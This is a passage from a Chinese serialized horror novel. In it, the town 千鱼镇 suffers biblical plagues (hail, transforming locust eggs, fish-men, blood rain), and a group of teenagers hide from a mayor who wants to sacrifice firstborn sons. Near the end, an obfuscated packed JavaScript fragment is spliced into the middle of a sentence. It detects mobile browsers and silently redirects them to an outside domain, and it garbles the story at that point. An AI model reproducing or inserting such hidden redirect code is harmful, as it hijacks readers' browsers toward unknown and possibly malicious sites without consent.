“这是上天的旨意,上天发怒了。”有老者跪地,喃喃自语。 火势的爆发让中老年人脑中的窃窃私语声爆裂开来,日夜不休,几名老者因此而死。 大火烧了三天,直到将整座密林都夷为平地。 当天空中的第一粒冰雹坠落到一截焦黑的枝干上时,山火的最后一簇火苗熄灭。 冰雹有大有小,大如巨石,小如沙粒,随机而至,杀人如麻。 镇民们有一部分选择留在家中,有一部分选择了迁移,还有一部分人,选择在地下开辟空间。 只是,当铲子挖到地下一米深时,他们挖到了蝗虫的卵,密密麻麻,像手臂一样长,已经布满了整座镇子的地下。 挖掘地下空间的计划失败,但至少,他们有足够的蛋白质可以吃了,许多人开始尝试摄取这种食物。 奈绪一家躲在家中。 奈绪站在窗边,对着窗户祈祷:“上天啊,求求你,不要让冰雹落到菜地上。” 她是世间最虔诚的修女。 一颗嫩芽钻出了地面,摇摆着翠绿欲滴的枝叶。 被世人称之为灾难的冰雹,化作无数细碎的冰粒,融入土地,化为甘霖,滋润着这片废土之中诞生的新生命。 15. 鱼人 “起浪了!起浪了!” 一个皮肤晒得黝黑的镇民,奔走疾呼,拎起脚边的藤篓就跑。 海浪上涌,浊浪朝岸边拍来,打上黑褐色的岩石冲起数米高的浪花。 浪花击打着礁石,给炎热的岸边带来潮湿的水气。 不久,浪花退去,海面重归平静,海岸边,一群人探出脑袋,争先恐后朝刚刚退潮的海岸跑来。 他们都光着上身,皮肤被烈日晒得通红,抹了把汗水,他们弯着腰,在海边捡着海浪冲上来的海鲜。 食物并不多,只是些贝壳,梭子蟹,但作为镇子中唯一能得到的食物,每天都有很多人争先抢夺。 友树也在其中,他赤裸着上身,穿一条短裤,正将断了一条腿的梭子蟹捞进篓中。 “友树?”熟悉的声音从背后传来,他转过身,看见伊藤望,他也背着一个背篓,瘦了许多,还是像平常那样爱笑。 “好久没见了。”友树说。 “是啊。”伊藤望一笑,露出一口白牙:“学校已经关闭几个月了,同学们都见不到了,你也是来捡东西的?” 伊藤望看向友树的背篓,鬼使神差地,友树将背篓往后挪了挪。 友树:“没什么,捡不到什么东西。” “是这样啊……”伊藤望打量着友树,友树咳了一声,转身想要走开。 “喂,友树,”伊藤望喊住他:“不如我们合作吧。我们以前不是很好的朋友吗?” 他接着说道:“你负责告诉我哪里有,我负责抢,怎么样?” 友树看着伊藤望高大的身躯,思索片刻后觉得这是个不错的选择。 “好。”他伸出手,两双伤痕累累的手握到了一起。 短短几个月里,友树家里经历了破产,生病,父母惨死,哥哥也去世了,如今家里只剩他一个人。 从前引以为傲的旧西装,早就被丢进了柜子深处,他害羞时仍会脸红,只是为了活下去,他不得不改掉从前脸皮薄的缺点。 海岸上,从前的船和大钟都已经被海底出现的海虫运走,现在岸边十分空旷,没有遮蔽的地方,一眼就可以看到头。 一群人正站在沙滩上,全身沾满污泥,这是用来防止晒伤的,他们四处张望,想要在退潮后的沙滩上找到些吃的。 “瞅准了吗?”伊藤望弯下腰,像一座大山一样,藏在岩石后。 伊藤望视力不好,自从唯一的眼镜被冰雹给砸碎后,他便只能看到模模糊糊的光影轮廓,在沙滩上认出友树也纯属偶然。 “瞅准了。”友树指向东北方:“那里有一条鱼,别人还没发现。” 伊藤望如同离弦的箭一样冲出去,同时,海岸上的其他人也发现了这条活蹦乱跳的鱼。 饿得眼冒绿光的人不肯放过这顿美味佳肴,接连加入抢夺。 伊藤望身形高大,一拳一个,抱着这条鱼,将他们全部推倒。 他顾不上看那些濒死的人一眼,抱着鱼朝友树跑来。 两人躲到一间废弃的木房子中,敲碎几块木头,点起了篝火。 将鱼剖腹烤熟后,两人一人一半,他们饿得连话都说不上,鱼皮还冒着热气就忍不住塞进口中。 烫得眼泪都流下来。 勉强吃饱后,他们看着彼此火光映照中的脸,都忍不住笑了。 “合作愉快。”伊藤望伸出手,他手上还有一股鱼腥味。 友树别别扭扭伸出手,“合作愉快。” 他不知道他从前是怎么和伊藤望生疏的,也许是从学校停课那天开始。 再好的朋友都抵不过距离,更何况他们一个在东边,一个在最西边。 上学时还可以当面沟通,下课后可以打电话,但当学校停课,电话也没了信号,两人就逐渐不来往了。 但两人抢鱼的合作,重新将他们联系在一起。 两人重新恢复了从前的情谊,至于那些被疏远了的时光,就不用再提了。 “今天拿的怎么这么少?”友树抱怨,他颠了一下背篓,面露不快。 他们已经合作了一个月,这一个月里,伊藤望抢到的东西越来越少,刚开始还有几条大鱼,到现在只剩下几条指头粗的蹦跳的小鱼了。 “最近推上岸的东西越来越少了,只能弄到这些。”伊藤也忍不住抱怨。 友树没再说什么,心中却存了些怀疑。 第二天,友树没有躲在岩石后等伊藤望回来,而是悄悄跟在他身后,伊藤望的眼睛近视严重,离远了认不出他。 伊藤望朝着岸边跑去,速度飞快,两个瘦骨嶙峋的人也朝着这边跑过来。 一个小水坑积在沙滩旁,伊藤望大手一捞,将水坑中的海鲜抓出来,失望地叹了口气。 只有几条小鱼。 他挤开那两人,将小鱼捞到背篓里,一个人跌倒在地,他脸颊凹陷,鸡爪般的手无助伸向他,小声地喊:“鱼……鱼……” 伊藤望面露不忍,犹豫着走开又折反,捞出一条小鱼,递给地上倒着的人。 一只手按住了他。 “友树?”伊藤望的笑容有些心虚。 “他快要饿死了。”伊藤望说。 友树:“我知道。” 友树脖子变得通红,脸上带着怒气:“可你有没有想过,我们也快要饿死了?你这些善心给谁用?今天给了他,明天他还是要饿死,现在镇子上死掉的人还少吗?我们得先让自己活下去!” 他打掉了伊藤望手中的鱼,两个人立刻冲上来将鱼抢走,顾不上鱼还是生的,就狼吞虎咽起来。 “看到了吗?”友树指着沙滩上横七竖八躺着的人,“食物已经耗尽多久了,你心里没点数吗?他们其中就有人现在正在死去,难道我也要去救吗?” “我说你拿回来的东西怎么这么少,原来是送了这帮讨食鬼。” 友树冷哼一声,“我们以后也不用再合作了。” 伊藤望看着友树瘦弱的背影,想开口解释,却无能为力。 千鱼镇的黑夜越来越长了。 明明时节已到夏季,太阳却没有像想象中那样整日高悬在天空,只有无边的闷热,仍在提醒着镇子上的人夏季的到来。 原本傍晚的退潮,因为黑夜的延长而进入到黑夜中。 如今,一片黑暗中,潮水退去,赶海的人再也看不清彼此。 他们只能凭借先前的经验,在靠近海浪的水坑中搜寻食物的踪迹。 友树在黑暗中摸索,摸到一个死人。 人是刚刚死去的,他手 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背对着太阳,它们的脸看不清楚,只能看到一群高大的轮廓,以及肩上,脸颊上生出的细密鳞片,还有脖子旁不断扩张又收缩的鳃。 “这是……这是什么鬼东西……”友树低声咒骂一句,海浪中,它们逐渐向岸边靠近,直到第一条怪鱼踏上了海岸。 它有两条像人一样的腿。 极为自然地,它弯下腿,跪在一个奄奄一息的人面前,像教徒等待圣主的救赎。 怪鱼的嘴巴张开,嘴巴两旁的肌肉被极限扯开,露出一嘴獠牙。 它咬住了那人细瘦的脖颈,慢条斯理地咀嚼起来。 胃酸反流,呕吐的感觉冲上口腔,他腿脚发软迈开步子,不要命地往岸上跑。 “有怪物!有怪物!” 他冲到街道上,边流泪边大喊。 镇子一片死寂。 几场灾难后,镇子上的人都陷入了精神的洼地,他们大多躺在床上,维持着基本生命体征,等待死亡或是救赎的降临。 有一个人躺在路边,他身上破破烂烂,手上挽了一圈绳索。 友树看这人眼熟,走进查看后才发现是淳平,急忙将他喊醒。 两人一起往高处逃去,想要找到一件能上锁的空屋子藏起来。 他们跑过几条街道,都是大门紧闭,只有一间房子还空着,房门打开。 友树带着淳平溜进去,将卷帘门拉上,趴在地上从缝隙中往街道上看。 这群鱼人不知道去了哪里,它们也许是吃够了海岸上的尸体,选择在退潮时重归海洋。 淳平异常地沉默,友树猛推了一下他的肩膀,他才终于回过神。 这是一家药店,友树翻找着房子里的食物,什么也没有找到。 他在柜台里找到了一张名片,将名片拿起,他下意识念了出来: “加贺慎一郎,主任医师。” “是个医生啊。”友树将名片放回,“哎?这个名字很眼熟,之前走索摔死的那个人,是不是他?” 淳平没有回答。 门外响起拍门声,他们闻到一股鱼腥味,卷帘门上出现了几个不规则的凹陷。 “是鱼人。”友树低声说。 16. 埋葬 “爸,妈,我们出去了。” 奈绪冲着爸妈的房间大声说,房间敞开着门,从房门里传出一声虚弱的呼吸。 从半个月前开始,有人在城镇上兜售烤过的蝗虫卵,只需要用极少的物资就能换到一大块。 虽然他们对这种昆虫都心有芥蒂,但许久没吃上食物的他们每个人都饥肠辘辘。 为了安全起见,奈绪的父母先将这种卵切成块后在火堆中烤熟,尝试了一下。 没出现什么异常,他们都开始食用这种食物,这种变异蝗虫的卵成了小镇里所有人的救星。 但不久之后,怪事开始出现。 父母的身上长出了细细的绒毛,呈现黑红色,同时胳膊和腿部也开始出现黄色斑纹。 而同时,同样吃了蝗虫卵的几个孩子,却没有出现任何问题。 镇子上的其他人也大多出现了这种情况,最先开始食用蝗虫卵的那几位父母,甚至能手脚并用地在地上爬来爬去,有一位母亲甚至爬上了房顶,倒挂在上面。 父母的身体变得虚弱,也逐渐不爱出门,他们整日躺在卧室的床上,不喜欢接触阳光,连话都很少说。 奈绪三人不知道父母身上发生了什么事情,但就从前小镇上发生的事的经验来讲,绝对不是好事。 她们曾劝父母和她们一起出去,父母充耳不闻,只是躺着,用厚厚的被子盖住身体,脸上是行将就木的绝望与麻木。 由子:“算了,别等他们了,我们先出去。” 由子的一头长发已经变成了利落的短发,脸上多了几道还未痊愈的刀疤,这是她与别人争夺食物时留下的痕迹。她在靴子里绑上尖刀,又拿起放在门边的铁铲。 奈绪无奈地看了房间一眼,脑子里盘算着如何才能治好父母这种诡异的疾病,没注意脚下的路,走过门边时被门槛绊了一下,整个人往前趴去,被中村捞住衣领重新站起。 有湿哒哒的东西落在身上,奈绪抬头看天,天空是一大团一大团的黑灰色,闷热的风裹挟着雨点拍打在脸上。 由子:“下雨了?” 镇子已经好久没有下雨了,地面干裂,连从井中打水都很困难。不过极端的干旱也带来了一个好处,就是冰雹已经停了,她们走在街上,不必再担心从上空而至的危险。 目光所及之处是一片鲜绿色,原野并未有一株小草发芽,这片绿色来自于她们从前种下的菜种。 整个镇子,只有这里发了芽。 可惜,这些种子只能种一茬,吃完这一次就没有了,土壤已经没有足够的养分再供养起一批鲜嫩的绿苗,也正是因为这个原因,她们对自己辛勤培育出的嫩苗更加宝贝,一直到现在都舍不得吃。 奈绪三人往街上走去,街上一片荒凉,大部分店铺的铺面都落了灰,因为主人的死亡而无人清理,逐渐荒废成一片金属废墟。 镇子刚封闭时,还会见到一些鸟儿,蝴蝶,镇子封闭的程度逐渐加重,如今鸟儿也失去了踪影,从这片名叫千鱼镇的土地上被彻底抹去。 不知是下雨还是什么别的原因,小镇的街道上又湿又黏,还有一股难闻的鱼腥味。 奈绪捂着鼻子忍受着无孔不入的鱼腥味,脚步不停,已经走到一座空房子前。 房子用卷帘门关着,卷帘门上出现了大大小小凹陷的痕迹,似乎就在刚刚,这里经过了一场残暴的袭击。 有一处凹陷甚至击穿了卷帘门,露出一个拳头大小的洞,可以看到房间内。 奈绪将眼睛凑到洞前,瞧着房间内的动静,瞳仁骤然放大,她后退一步,指着房子:“里面还有人,好像在求救。” “求救?”中村重复一句:“你确定听清楚了吗?” 奈绪:“听清楚了。” 中村弯下腰,手扒住卷帘门的底部,试着往上拉了拉,面目狰狞:“好像……好像卡住了。” 奈绪:“我也来。” 两人一起将卷帘门用力向上抬去,幸好卷帘门没来得及上锁,不然他们两个恐怕就要用斧子将它砍开了。 卷帘门拉开,灰尘扬起,将整个房间都变得昏黄朦胧,奈绪看着这个熟悉的房间,仿佛置身梦中。 她几乎快要忘记这个药店了,忘记那个在绳子上一心追求荒诞梦想的老头了。 房间里铺着破烂的墙纸,大块墙面脱落,地上躺了两个人,都瘦得像骨架子一样,脸上胡须打结,头发成团,眼垢糊在眼边。 其中一个已经没了呼吸,另一个陷入昏迷,奈绪刚刚听到的求救声,就是来自他的梦呓。 奈绪找来一块干净布料,在外面接了盆雨水,仔细将两人的脸擦干净。 她先把那个有呼吸的人的脸擦干净,又灌了些水,那人慢慢醒了过来。 看着这张有些眼熟的瘦弱脸庞,奈绪疑惑:“我们是不是在哪里见过?你叫什么名字?” “友树。”那人说。 由子:“友树!” “我们是同学!”她握住他的手:“我是由子,她是奈绪,后面那个穿拖鞋的,是我弟弟中村。” 中村不耐地哼了一声,算是应答。 奈绪也想起了这个瘦弱的同学,但她正忙着给已死之人擦净脸庞,也就没顾上攀谈。 当一张布满灰尘,伤疤,污泥与鲜血的脸被擦干净后,奈绪的神情逐渐变得僵硬,手上的动作也逐渐迟缓。 中村:“他是谁?” 奈绪不说话。 由子凑过来看了一眼,表情吃惊:“他不是你之前的好朋友吗?好像叫淳平来着。” 奈绪的神情依旧僵硬,眼神愣愣地盯着这张脸,喉咙忽然感到一阵莫名的干涩,干咳起来。 逐渐控制不住,她上半身都弯下来,整个人像虾米一样跪到地上,头磕着水泥地,豆大的汗珠从她额头流下,她整个人都脱了力,咳嗽难以停下,淡淡的血腥味从肺部上涌。 “你怎么了?!”由子着急,将不断咳嗽的奈绪搀起来靠墙坐下,将水壶打开让她灌了一口。 奈绪的咳嗽声难以止息,十分钟后才停止,她脑子中有不断的蜂鸣声,整个人处在晕眩状态。 奈绪摆摆手:“我没事,暂时不用担心。” “他是怎么死的?”奈绪问友树。 友树脸色也不好,由子找出所剩不多的饼干,让他吃了一块,他才勉强恢复了一点力气。 “我们……我们在这里 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她背上还背着淳平的尸体,尸体很轻,瘦得像干。 “我要把他埋了。”奈绪柔声说。 由子:“那群鱼人长什么样?” 友树:“像一群直立的,长着獠牙的怪物,牙齿又尖又快,我差点被它们捉到。” 他们行走在山坡上,奈绪背着尸体走在最前方,他们在光秃秃的树林间穿梭,直到奈绪在一棵树前停下来。 奈绪:“这是小镇上最高的树了。” 她将尸体放下,又向由子把铁铲要了过来,跪在地上开始挖坑。 其他三人也加入了。 小雨还在绵密地下着,沾湿了他们的衣服,所幸友树走之前从药店里拿了几把伞,为他们挡住从高处落下的雨珠。 直到天空开始变得黑暗,一个坑才终于挖好,奈绪沉着脸,将尸体推入坑中,铲土埋上,站起身来,她两腿发麻,脚步不稳,由子扶了她一下。 “天快黑了,不能保证鱼人会不会再来,我们先回去吧。”中村说。 天空逐渐黑透,乌云笼罩,雨滴也逐渐变大,到最后几乎成了从高处倾泻而下的雨帘,他们撑着伞,在雨中奔跑着。 “你们看,那里怎么有光?”由子忽然停下脚步,抬手指向森林深处。 灯光如豆,昏黄的灯光点缀在森林如墨染般的纯黑中,有些不真实,像是误入了某个童话中的梦境。 他们都鬼使神差一样,被那束光所诱惑,朝着光亮的方向走去。 雨水落在几个光滑的伞面上,和森林里树木发出的声音应和在一起,如同一支优美的交响曲。 他们都听到了一声婴儿的啼哭,往昔觉得十分吵闹的动静,在如今看来竟成了安全的保障。 那是一间小小的木房子,用几块简陋的大木板拼接而成,门口放着一盏防风的玻璃油灯,房门上挂着锁链。 室内的烛光将影子投射到窗户上,是一个男人抱着孩子的模样。 他抱着孩子,身体滑稽地摇摇晃晃,孩子转哭为笑,男人正轻轻哼唱着一首不知名的摇篮曲。 17. 血水 奈绪快走几步踏上台阶,轻轻在门上叩了两声。 门被打开了。 是雄一,他穿一身简单的长袖长裤,一只手抱着夏美,另一只手来开门。 看见是奈绪后,他明显愣了一下,注意到她身后有人,他挡住半边房门,神情有些戒备。 奈绪侧过身,让其他几人站到光中:“他们几个都是我的朋友。” 雄一脸色瞬间放松,冲奈绪笑了笑:“你怎么到这里来了?” “偶然过来的,来……来埋人。”奈绪说。 雄一哦了一声,两人都没有什么新的话题要聊,场面一时有些尴尬。 迎着昏黄的油灯,奈绪瞥见雄一的脖子上起了一层细密的黑毛,看上去分外瘆人。 这层黑色绒毛和父母的很像。再看雄一不肯踏出房门一步的动作,奈绪逐渐察觉到异样。 奈绪:“你身上的这些绒毛,是怎么出现的?” 雄一被奈绪的灼灼目光瞪得后背发麻,说:“不久之前,差不多就是夏美出生的时候。” “出生?”奈绪表情有些不自然。 也就是雄一刚当上爸爸的时候?如果再算上镇子上其他人得的这个病,那么大致可以推算出,镇子上的父母都得了这个病。 但这个病现在有什么影响,现在还无从得知。 蝗虫出现时,清洗的是镇子里的老年人。 这个病出现的结果尚未可知,但具体范围限制在父母身上。 那下一步呢?就是镇子中的年轻人吗?亦或是…… 她愕然望向身旁的中村: 难道下一步,就是长子之死,以及如圣经上所说的,血水之灾,永恒的黑暗降临? 她不想赌,也不敢赌。 对未来无尽的无知与茫然强迫她将注意力转向别处,她亲昵地摸了一下夏美,夏美咯咯笑起来,但眼睛还是看不见奈绪。 奈绪:“她现在还是看不见吗?” 雄一摇头:“这是没办法的事,现在能活下来就好了。” 奈绪想起友树所说的鱼人上岸的怪事,又瞥一眼残破的小木屋,心中涌出担忧,忍不住提醒: “前些天,有怪物上岸了,据友树所说,是一群长着獠牙,行走像人的鱼,食肉而且聪明,你们最好小心点。” 雄一点头。 将怀中的夏美哄睡后,他悄悄把奈绪拉到一旁,有些不好意思地问:“我之前……看到你们家附近种了蔬菜?” 他将夏美的下嘴唇翻开,看到一个圆圆的白疮,是上火和长期不食用蔬菜导致的。 雄一:“我现在病还不严重,虽然出房子会带来一些不适感,但暂时还可以出门,过几天我能不能带着夏美,去你那里摘一点蔬菜?” 奈绪和由子看着夏美熟睡的脸颊,她是个脸颊泛红的娃娃,粉雕玉琢一般,再看看抱着她的雄一,眉毛稀疏身材瘦弱,看来是把最好的都留给了她。 奈绪和由子重重点头:“好。” 镇长坐在躺椅上,外面的雨没有丝毫暂停的样子,接连下了几天,院子里积了一层积水和污泥。 他慵懒地拿起一本书翻看起来,在烧死医院的人之前,他们收集了医院足够多的物资,足够他们再活几个月,对于穷人所谓的前途和命运,他丝毫不担忧。 他欣赏着一本外国散文,正想沉浸其中,身旁却不断传来妻子和儿女铲水的声音。 “声音小一点!”他面露怒色,将书摔到一旁,嘟囔着站起身朝院子走去。 “怎么这么吵?” 妻子指着院子里那口水井,脸色苍白:“井里……井里有一片鱼鳞。” “鱼鳞?”镇长重复一遍,勃然大怒:“鱼鳞有什么可怕的,那帮上岸的鱼人不是已经回去了吗?我们在房子里还能再待上几个月,到时候我们早就得救了,你何必这么大惊小怪?” 他冷哼一声,推开妻子,朝井边走去。 井底的水并不清澈,上面浮了一层表面开始腐烂的枯枝,还有一些污浊的尘土,以及一只死去的青蛙和几只苍蝇。 除了这些东西,还有一片暗淡的鱼鳞,隐匿在落叶中,只有表面反射的光能勉强看出它原来的样子。 用木桶将它打捞上来,镇长捡了根棍子,对着青蛙的肚子戳去,青蛙的身体已经僵硬发臭,他捂着鼻子,将青蛙拨到一旁。 有雨滴落在脸颊,他扭头朝身后冷冷瞥了一眼,妻子急忙撑起雨伞给他挡着。 继续用木棍将苍蝇,枯枝挑开,他捏住鱼鳞的一角,将它凑到眼前仔细查看。 鱼鳞颜色暗沉,边角不规则,足有手掌大小,将它对着光时,会呈现半透明的光影,如同鱼鳞经过极为精密的雕刻。 他正想将鱼鳞丢到一旁,悬在半空的手忽然停下,妻子不明白发生了什么,只听见镇长闷闷地说:“把手电筒拿来。” 奈绪一早起床,就把家中的锅碗瓢盆翻出来,全堆放在院子中接着从天而降的雨水。 这场雨下了好久,久到奈绪都有些担忧,院子里积了一层水,踩着啪嗒啪嗒响,鞋跟都湿透了。 雨水是不祥的征兆,对于处在不安中的镇子来说,一切天灾都是不祥。 但无论未来怎样,她都要尽全力把当前的事情做好,最起码想办法让家里人喝上干净的雨水。 她不是没想过用井水,只是自从大雨下起来,井中打上来的水就多了一股刺鼻的鱼腥味,喝到喉咙里黏滑无比,恶心又反胃。 父母现在还卧床不起,脾气也变得暴躁,她们把不多的饭放在门前,确认他们离开后,父母才会从房间出来将饭菜吃掉。 只有从消失的饭菜中,奈绪才能察觉到父母还活着的迹象。 而每天提供他们一碗清水,也成了姐弟三人每天必须的任务。 将雨水打满,他们三人轮流将盆,壶提回房间,灌到大缸里。 一天内,阴雨连绵,他们三人一直忙碌着。 中村提着一桶水,还是趿拉着那双破拖鞋,脸上一副无所谓的样子,但手腕上凸起的淡青色血管表现出,他已经用了全力。 他忽然停下,鼻子动了动,神情异样,对奈绪说:“姐,你闻到什么味道没有?” 奈绪:“什么味道?” “就在我身上。”中村说:“我身上一股血腥味。” 院子浸在一片黑暗和潮湿中,奈绪只能看见中村提着水桶的模糊身影。 奈绪站在屋子里朝他招招手“你先过来。” 中村拎着水桶费力走进屋内,将水桶咚一声放 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奈绪慢慢从血雨中走进屋子,浑身是血抱住中村,手不停拍着他的背,话语已经哽咽:“中村……你,你不该就这样死去啊……我们已经熬到现在了……也许,也许明天一切都会好呢?” 一只温热的手加入了他们两人的拥抱,由子抱着他们二人,看着二人的样子,她很快意识到发生了什么。 中村眼角两颗泪珠滚落,倏然抬头对由子说:“姐,右一他……他也是家中长子,你最好现在去看看他,不然可能以后就再也看不到了。” 第二天一早,由子便穿了一双雨靴,穿过半个小镇去找右一。 右一由爷爷抚养长大,爷爷不堪忍受蝗虫后遗症的困扰,早早便去世了,自那以后,就只有他独自居住在这个小镇街角的房子中。 由子带着几棵刚从地里挖出的青菜,走过遍积着血水的街道。 清新的绿色与红色映在一起,分外夺目。 “你们凭什么抓我!凭什么!” 右一的声音突然响起,由子加快脚步赶到右一门前,房门开着,房间内有几个血脚印。 声音来自楼上,由子不敢贸然上去,她站在房子对面,向二楼望去。 窗前,窗户打开着,右一的身子探出半边,整个人几乎挂在窗外,衣领被一只粗壮的手臂死死拽着。 他身旁站着镇长,拽着他手的是另一个壮汉,右一的表情崩溃而绝望:“我知道你们想干什么,你们是想拉我去送死,死我一个不够,你们还要搭上更多的人!你们这帮无耻败类,你们这帮千鱼镇的蠹虫!” 啪! 他脸上挨了一巴掌,半边脸迅速肿起,他想挣开那只胳膊,却看见了街对面的由子。 由子手上的青菜掉下,落入泥泞的血水中,只剩一棵攥在手心。 右一拼命挣扎起来,将男子的手臂咬下一块肉,呸一声吐掉,决绝地向后倒去,整个人从窗边摔下。 啪。 他从二楼摔下,落入污水中,磕到了后脑勺陷入了昏迷。 楼上的镇长愣了一下,几人加快脚步向楼下冲去:“这个高度摔不死他,快,快捉到他!” 由子干脆地将手上握的最后一棵青菜扔掉,咬牙将右一背上,左右看了看,闪身躲进了精神病院。 18. 血水 月亮昏惨惨地挂在漆黑无比的天空,薄而亮的月光将千鱼镇照得明亮。 而月光没有照到的地方,仍是一片黑暗,只有极少处闪着星星点点的烛火。 而万千闪耀着的烛火中,有一盏刚刚消失。 噗—— 油灯灭了,一小缕灰白色的烟顺着流动的空气上升,奈绪的脸完全沉在黑暗中。 她转过身,将手肘支着桌子,皱起眉头,她对面是由子几人。 镇民们分成了几个阵营,站在镇长那一边的居多。 在大多数人看来,牺牲一小部分人就能拯救大多数,这个选择没什么不好,况且,这道献祭长子的命令,是由遥远世界的神明下达的,它刻在鱼鳞上,通过井水的指示降临,给处于绝望中的镇民最后一点生的希望。 而奈绪却不同意,一个刻在鱼鳞上的字,谁都能伪造,更何况,倘若这些所谓的神明的指示是真的,那么神在哪里?如何确认神给的是指示,而不是看镇子热闹的一个恶劣的玩笑? 降临在镇子上的一重又一重的灾难,没有停息的时候,看来神明并不想拯救他们。 这种做法,无非是想要镇子再损失一批镇民罢了。老年,中年,青年,镇子的人口数量正在锐减。 她无力与大多数镇民对抗,只能选择更好的方式:躲藏。 他们藏在精神病院中。 自从小百合那次闯入,将精神病院中所有的灯全部关灭后,精神病人的影子出现,带领包括爱子在内的大部分精神病人完成了出逃。 他们进入了空气,去向更高一层维度的世界。 而剩下的那些没有形成影子的人,在镇子陷入困难,不能再为精神病院提供保障时,也纷纷从精神病院撤出,住回家中。 如今,精神病院是一座废弃的楼,墙皮剥落,灰尘横生,地上全是凌乱的脚印,大部分的窗户都被石子打碎,地上全是碎裂的玻璃片。 他们不敢贸然点灯,不希望引起追捕人员的注意。 现在坐在正厅里的有她们姐弟三人,右一,友树,龙太郎,再加上雄一,一共六个人。 父母被她们安排在三楼的房间里,他们依然不肯出门,甚至不肯见儿女,对此,奈绪无可奈何,只好由他们去。 奈绪敲了敲桌子,表情肃然:“各位安静一下。” 由子嘘了一声,吵闹的几人安静下来。 奈绪:“我们现在集思广益,如何保住右一与中村两人,以及如何应对后续镇民们的计划,提防可能会出现的各种情况。大家有什么想法,都提一提。” 她坐在桌子正对面,背靠着墙壁,明明才高三,说话却已经像个大家长了。 众人面面相觑,交头接耳讨论了几分钟,最后,龙太郎率先开口: “这几天,大雨刚停,外面道路上积的全是水,高度足足到腰,所有人都被困在家里,因此逮捕计划也暂停了,依我看,这是一个逃跑的好时机,如果镇子里有船,能沿着海岸一直走,想必能走出镇子。” “你说的好听。”友树揶揄:“现在镇子上哪里来的船,况且要是有船,镇长他们想不到吗?” 龙太郎推了下眼睛,轻咳一声,表情有些尴尬。 奈绪:“你说的有一部分是对的,现在确实是逃跑的最好时机,船也是我们必须的,即便不能从海面逃脱,作为一个航行工具来用也是十分方便的。” 奈绪转向右一:“右一,你手里那本圣经能拿来让我看看吗?” 右一头发盖住眼睛,瘦削的下巴有些苍白,他弯下腰从书包里翻找,虚弱得让人怀疑他下一秒就会栽倒过去。 他从书包深层翻出那本破破烂烂的圣经,放到桌面上滑给奈绪,奈绪手指点着圣经,倒拨过来翻开。 手指在一页上点了点,她捂住脸揉了一把,轻声开口:“前面的蝗虫,苍蝇,虱子,血水,冰雹等灾难,想必大家都已经见识过了,与圣经有些许不同的便是顺序。” “那枚鱼鳞莫名在镇长的井中出现,如果不是有人所为的话,那就是镇子陷入了诅咒,而这是更高级别的文明对我们开的一个充满恶意的玩笑,它们想看我们深陷困境,互相残杀,而我们也确实做到了,甚至做得更过分。” 她声音有些沙哑,血雨污染了水源,她已经许久没有喝水了:“如果我们小镇真的有诅咒,并且这诅咒与天罚有关,那我们即便从沿着海岸走,也一定会重新回到镇子,这是它们的游戏规则,我们逃不脱的。” 全场陷入沉默,他们都垂着头,眼睛盯着木纹桌面。 他们不是没想过这种可能性,只是一直欺骗自己,只要走出镇子就好,只要走出去,一切故事就都结束了。 奈绪接着说道:“我只想知道,小镇过去有没有出现过这种情况,如果有,又是怎么解决的?这种天罚局面,是只有我们这一次有,还是从前出现过?” “可镇子中的老人都在最近去世了,我们怎么知道?”由子插话。 奈绪发愁地揉着紧蹙的眉心,龙太郎忽然开口:“我是在镇子上长大的。” “我和骏平我们都是在小镇上长大的,对千鱼镇有很深的感情。小时候我们常常在镇子上转来转去,那时候有个镇民,叫由村,刚开始是由村的父亲负责记录小镇中发生的事情,后来由村长大了,记录这些的任务就交给了他,不过……他现在已经去世了。” “他是怎么去世的?”奈绪扬眉。 龙太郎:“当时送去医院,发现是心脏病发,当时他的遗物还被亲人们完好地保存着,不过现在不知道怎么样了。” 由子摸着下巴,“他就是镇子上最开始死亡的那个老人?” “对,那时候他是镇子上最年长的老人。” 有血腥气顺着半扇破碎的窗户刮进房间,奈绪站起身,从抽屉里拉出两个垃圾袋,撕开封在窗户上。 “雨又下起来了。”奈绪封上窗户前,最后看了一眼窗外。 她转身,将两只手支在桌子两旁,声音清澈而洪亮:“明天,我和由子一起去找由村,试一试能不能找到小镇的历史记录本,右一,中村守在这里,友树,龙太郎老师和雄一一起去外面找些还能喝的水。” 童稚的笑声从雄一怀中发出,夏美躺在父亲的怀抱里,小脸粉嫩,看着奈绪一脸严肃的样子,笑得直往父亲怀里躲。 奈绪脸沉了几秒钟,也跟着噗嗤一声笑了,其他人也跟着笑起来,尤其是右一,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977568|161409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑得肚子都痉挛了,揉着肚子哎呦哎呦叫,眼角都笑出泪花,边笑边说:“哎呦,怎么会这么荒谬,就在几个月前,我们这里还是法治社会呢。” 第二天天刚蒙蒙亮,奈绪和由子就从二楼楼梯上下来。 一楼的门关闭着,但水位和外面是一样的,血水一直没到她们腰部。 在及腰的水中行走,任何衣服都失去了防水的作用,奈绪和由子也就一切从简,只穿了短袖长裤和凉鞋,两人拽着一根绳子的两头,防止被突如其来的乱流卷走。 打开门,血雨还在下,雨伞已经没了必要,无论如何都会被打湿的,奈绪和由子索性迈开步子,在血水中一只手划着,在水流中稳住身形,往街道上走去。 镇子上的大多数房子都被水淹了,腐朽的木板一碰就塌,街道上也有许多因水流冲刷而形成的大坑,这是两种最危险的安全隐患。 她们小心地走着,通过一条绳子互相牵扯,两条街道已经甩在身后。 忽然,奈绪身子一滑,整个人向后倒去,头部浸在血水中,手脚乱划,口中吐出一串串气泡,肺中全是血腥气。 她陷进一个深坑,不受控制地向打着漩涡的坑中心滑去,只能用力扯紧手中的绳子。 幸好,绳子的另一头还在。 由子死死扯着绳子,抵抗着擦过腰部的乱流,脚蹬紧地面,忍着刺鼻的血腥味,将奈绪从坑底一寸一寸拖拽,直到奈绪的头部浮出水面。 奈绪差点就被卷走了。 在一片耀眼的白光中,奈绪在由子的怀中苏醒,她揉了揉眼睛,问:“我睡了多久?” 由子:“你昏过去了。” “我们现在是在哪里?” 由子:“我们快到了。” 她们正在一栋空房子内,血水淹到了楼梯的一半,她们躺在另一半楼梯上,浑身湿透。 